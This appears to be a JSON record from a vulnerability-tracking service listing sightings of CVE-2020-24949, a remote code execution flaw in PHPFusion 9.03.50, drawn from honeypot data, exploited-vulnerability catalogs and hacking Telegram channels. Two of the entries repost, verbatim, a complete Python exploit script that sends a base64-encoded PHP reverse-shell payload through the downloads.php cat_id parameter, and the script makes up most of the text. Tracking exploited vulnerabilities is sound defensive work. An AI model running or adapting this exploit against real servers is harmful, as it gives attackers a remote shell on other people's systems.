{"vulnerability": "CVE-2020-24949", "sightings": [{"uuid": "65ffbe0e-b087-405e-8dd0-463ccdb76012", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-24949", "type": "exploited", "source": "https://www.exploit-db.com/exploits/49911", "content": "", "creation_timestamp": "2021-05-28T00:00:00.000000Z"}, {"uuid": "e4955866-8b3c-4ecf-8ca6-d0e6937134c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-24949", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-11)", "content": "", "creation_timestamp": "2025-11-11T00:00:00.000000Z"}, {"uuid": "2ab1c373-79ce-4677-8c3a-48e657d276d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-24949", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-22)", "content": "", "creation_timestamp": "2026-03-22T00:00:00.000000Z"}, {"uuid": "90a4b763-d2b1-404c-88bd-d692da25be95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-24949", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-26)", "content": "", "creation_timestamp": "2026-03-26T00:00:00.000000Z"}, {"uuid": "fdb0c2b5-57d7-4586-bce1-33d5a31d84a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-24949", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-27)", "content": "", "creation_timestamp": "2026-03-27T00:00:00.000000Z"}, {"uuid": "5dcdf426-db99-4cba-86a8-ab215b72365b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-24949", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-02)", "content": "", "creation_timestamp": "2026-04-02T00:00:00.000000Z"}, {"uuid": "82418e4d-1f3d-4f8e-8135-b467c9c4accb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-24949", "type": "seen", "source": "https://t.me/pwnwiki_zhchannel/517", "content": "CVE-2020-24949 PHPFusion 9.03.50 \u9060\u7a0b\u4ee3\u78bc\u57f7\u884c\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2020-24949_PHPFusion_9.03.50_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-05-28T09:44:39.000000Z"}, {"uuid": "75baaeda-6eea-4178-a7da-2e330e967533", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-24949", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-18)", "content": "", "creation_timestamp": "2026-05-18T00:00:00.000000Z"}, {"uuid": "fafe0d35-5ee2-493c-bec5-e1a6d1a66efe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-24949", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-15)", "content": "", "creation_timestamp": "2026-06-15T00:00:00.000000Z"}, {"uuid": "97a14082-db32-4971-bb1a-a1c80c608333", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-24949", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/4d5d725e-b3b0-4e92-965e-aed147688981", "content": "", "creation_timestamp": "2026-06-19T12:45:06.487391Z"}, {"uuid": "50b3e257-6325-458f-8e20-71ea98fbc7ff", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-24949", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/43197e16-ece1-458d-b853-c7602318902b", "content": "", "creation_timestamp": "2026-06-23T14:02:56.907237Z"}, {"uuid": "5ffdaeba-dc57-4139-8c14-4deea9573db2", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2020-24949", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/914fa498-a21d-43b7-9263-c1d3b2ba112f", "content": "", "creation_timestamp": "2026-06-30T09:23:34.919028Z"}, {"uuid": "c9de52a9-7725-45ff-bfe9-e63091441392", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-24949", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-19)", "content": "", "creation_timestamp": "2026-07-20T10:15:08.509672Z"}, {"uuid": "f5b94ea6-3e53-447b-8340-6106f12d56d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-24949", "type": "seen", "source": "https://t.me/hacking_Attack/10499", "content": "Exploit Collector\nPHPFusion 9.03.50 Remote Code Execution\n\nhttps://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png \nPHPFusion version 9.03.50 suffers from a remote code execution vulnerability.\n\nMD5 | 7b268932c3f92c2d35fb62cadc94ca0d\n\nDownload\n# Exploit Title: PHPFusion 9.03.50 - Remote Code Execution\n# Date: 20/05/2021\n# Exploit Author: g0ldm45k\n# Vendor Homepage: https://www.php-fusion.co.uk/home.php\n# Software Link: https://www.php-fusion.co.uk/infusions/downloads/downloads.php?cat_id=30&download_id=606\n# Version: 9.03.50\n# Tested on: Docker + Debian GNU/Linux 8 (jessie)\n# CVE : CVE-2020-24949\n# Found by: ThienNV\n\nimport requests\nimport base64\nimport argparse\nPAYLOAD = \"php -r '$sock=fsockopen(\\\"127.0.0.1\\\",4444);exec(\\\"/bin/sh -i <&4&4 2>&4\\\");'  \" # !!spaces are important in order to avoid ==!!\nREQUEST_PAYLOAD = \"/infusions/downloads/downloads.php?cat_id=$\\{{system(base64_decode({})).exit\\}}\"\nparser = argparse.ArgumentParser(description='Send a payload to a Fusion 9.03.50 server with \"Allow PHP Execution\" enabled.')\nparser.add_argument('target', type=str, help='Turn the Allow PHP Execution verification step on or off.')\nparser.add_argument(\"-v\", \"--no-verify\", action=\"store_false\")\n\nargs = parser.parse_args()\n\nif args.target.startswith(\"http://\") or args.target.startswith(\"https://\"):\ntarget = args.target\nelse:\nprint(\"[!] Target should start with either http:// or https://\")\nexit()\n\n# verify payload\nPAYLOAD_B64 = base64.b64encode(PAYLOAD.encode('ascii')).decode(\"ascii\")\nif '+' in PAYLOAD_B64 or '=' in PAYLOAD_B64:\nprint(\"[!] Invalid payload, make sure it does not contain a + or a =!\")\nexit()\n\n# verify vulnerable host\nif args.no_verify:\npage_data = requests.get(target + \"/infusions/downloads/downloads.php?cat_id=${system(ls)}\")\nif \"infusion_db.php\" not in page_data.text:\nprint(\"[!] Can't seem to find infusion_db.php. QUITTING!\")\nprint(\"[!] If this validation is wrong just use the --no-verify flag.\")\nexit()\n# send request\nrequests.get(target + REQUEST_PAYLOAD.format(PAYLOAD_B64))\n\nprint(\"[*] Requests send, did you get what you wanted?\")\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:40.653955Z"}, {"uuid": "07d40ae9-381e-46b2-8e27-ec64df8621c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-24949", "type": "seen", "source": "https://t.me/hacking_Attack/10499", "content": "Exploit Collector\nPHPFusion 9.03.50 Remote Code Execution\n\nhttps://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png \nPHPFusion version 9.03.50 suffers from a remote code execution vulnerability.\n\nMD5 | 7b268932c3f92c2d35fb62cadc94ca0d\n\nDownload\n# Exploit Title: PHPFusion 9.03.50 - Remote Code Execution\n# Date: 20/05/2021\n# Exploit Author: g0ldm45k\n# Vendor Homepage: https://www.php-fusion.co.uk/home.php\n# Software Link: https://www.php-fusion.co.uk/infusions/downloads/downloads.php?cat_id=30&download_id=606\n# Version: 9.03.50\n# Tested on: Docker + Debian GNU/Linux 8 (jessie)\n# CVE : CVE-2020-24949\n# Found by: ThienNV\n\nimport requests\nimport base64\nimport argparse\nPAYLOAD = \"php -r '$sock=fsockopen(\\\"127.0.0.1\\\",4444);exec(\\\"/bin/sh -i <&4&4 2>&4\\\");'  \" # !!spaces are important in order to avoid ==!!\nREQUEST_PAYLOAD = \"/infusions/downloads/downloads.php?cat_id=$\\{{system(base64_decode({})).exit\\}}\"\nparser = argparse.ArgumentParser(description='Send a payload to a Fusion 9.03.50 server with \"Allow PHP Execution\" enabled.')\nparser.add_argument('target', type=str, help='Turn the Allow PHP Execution verification step on or off.')\nparser.add_argument(\"-v\", \"--no-verify\", action=\"store_false\")\n\nargs = parser.parse_args()\n\nif args.target.startswith(\"http://\") or args.target.startswith(\"https://\"):\ntarget = args.target\nelse:\nprint(\"[!] Target should start with either http:// or https://\")\nexit()\n\n# verify payload\nPAYLOAD_B64 = base64.b64encode(PAYLOAD.encode('ascii')).decode(\"ascii\")\nif '+' in PAYLOAD_B64 or '=' in PAYLOAD_B64:\nprint(\"[!] Invalid payload, make sure it does not contain a + or a =!\")\nexit()\n\n# verify vulnerable host\nif args.no_verify:\npage_data = requests.get(target + \"/infusions/downloads/downloads.php?cat_id=${system(ls)}\")\nif \"infusion_db.php\" not in page_data.text:\nprint(\"[!] Can't seem to find infusion_db.php. QUITTING!\")\nprint(\"[!] If this validation is wrong just use the --no-verify flag.\")\nexit()\n# send request\nrequests.get(target + REQUEST_PAYLOAD.format(PAYLOAD_B64))\n\nprint(\"[*] Requests send, did you get what you wanted?\")\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:17.363986Z"}]}